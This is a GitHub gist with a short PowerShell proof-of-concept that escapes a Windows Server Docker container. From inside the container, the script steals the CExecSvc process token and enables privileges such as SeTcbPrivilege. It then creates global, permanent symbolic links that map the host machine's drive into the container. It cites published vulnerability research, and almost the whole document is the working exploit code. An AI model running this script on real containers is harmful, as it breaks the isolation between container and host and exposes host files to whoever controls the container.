-
-
Save clavoillotte/5e28e4029a1ebd23188dd6e1b108435e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Param( | |
[Parameter(Mandatory, Position = 0)] | |
[string]$HostDrive, | |
[Parameter(Mandatory, Position = 1)] | |
[string]$LocalDrive | |
) | |
# Script to map a host drive inside a Windows Docker Server Container | |
# You need to be an admin in the container for this to work. | |
# Use as .\map_host_drive C: X: | |
# More information from @danie1zy https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/ | |
Import-Module NtObjectManager -ErrorAction Ignore | |
$token = Get-NtTokenFromProcess -ProcessId (Get-Process "CExecSvc").Id | |
Set-NtTokenPrivilege -Privilege SeTcbPrivilege,SeCreatePermanentPrivilege -Token $token | |
# Get the host drive's device path. | |
$target = Use-NtObject($s = New-NtSymbolicLink "\??\ROOT" "" -Access Set) { | |
Invoke-NtToken -Token $token { $s.SetGlobalLink() } | |
Get-NtSymbolicLinkTarget "\??\ROOT\GLOBAL??\$HostDrive" | |
} | |
Write-Host "Host $HostDrive drive is $target" | |
# Map the host drive to the local drive. | |
Use-NtObject($s = New-NtSymbolicLink "\??\$LocalDrive" $target -Access Set) { | |
Invoke-NtToken -Token $token { | |
$s.SetGlobalLink() | |
$s.MakePermanent() | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment